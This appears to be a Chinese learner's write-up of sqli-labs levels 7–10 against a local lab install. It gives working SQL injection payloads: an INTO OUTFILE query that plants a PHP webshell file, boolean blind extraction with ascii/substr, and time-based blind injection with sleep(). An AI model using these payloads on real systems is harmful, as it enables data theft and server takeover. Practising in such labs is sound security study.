第七关,通过注入导出文件,一句话木马。
需要知道的是根目录,以及mysql中my.ini文件中的secure_file_priv,没有的话可以在my.ini中直接加入,有了这个才能导出。
payload :
http://127.0.0.1/sqli-labs/Less-7/index.php?id=-1'))Union select 1,2,'' into outfile 'D:\\phpStudy\\WWW\\wuyun\\sqli-labs\\Less-7\\yijuhua.php'--+
通过菜刀直接get webshell
Blind SQL (盲注) 是注入攻击的其中一种, 向数据库发送 true 或 false 这样的问题, 并根据应用程序返回的信息判断结果. 这种攻击的出现是因为应用程序配置为只显示常规错误, 但并没有解决SQL 注入存在的代码问题.
当攻击者利用SQL注入漏洞进行攻击时, 有时候web应用程序会显示, 后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近, 不同的是数据库返回数据的检索方式. 若数据库没有输出数据到web页面, 攻击者会询问一些列的 true 或 false 问题, 强制从数据库获取数据. 这样做让数据注入攻击变得困难, 但并不是不可能.
盲注常分为: 【基于布尔型的盲注】 和 【基于时间的盲注】.
第八关是基于布尔型的盲注。
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
==需要补充的额外知识======
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
=====================
这些都是精华,通过ascii字符编码来盲注。
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20(ascii(substr((select%20database()),3,1)))=99%20%23
可以通过大于号和等于号来判断它ascii字符集数字为多少,然后慢慢的盲注出来。
上面说明它的ascii码为99,它是第三个字符,所以数据库的第三个字符为‘c’。
利用的就是上面的精华。
一步一步的将数据库名盲住出来,security。
然后我还是不知道如何将表爆出来,有点懵懵的。
可能需要sql语句吧。
第九关,基于时间的GET单引号盲注。
用到了if()语句。
payload:http://localhost/sqli-labs/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒
那么这里为什么必须基于时间呢,因为你怎么输入,输出结果都是You are in ,这就必须通过时间来判断了
无论正确或错误,都是输出的You are in………..
基于时间的盲注就是通过时间注入的,如果它是错误的,将通过睡眠5秒来识别。
第十关,基于双引号的盲注。
就是将第九关的单引号变成双引号就行了。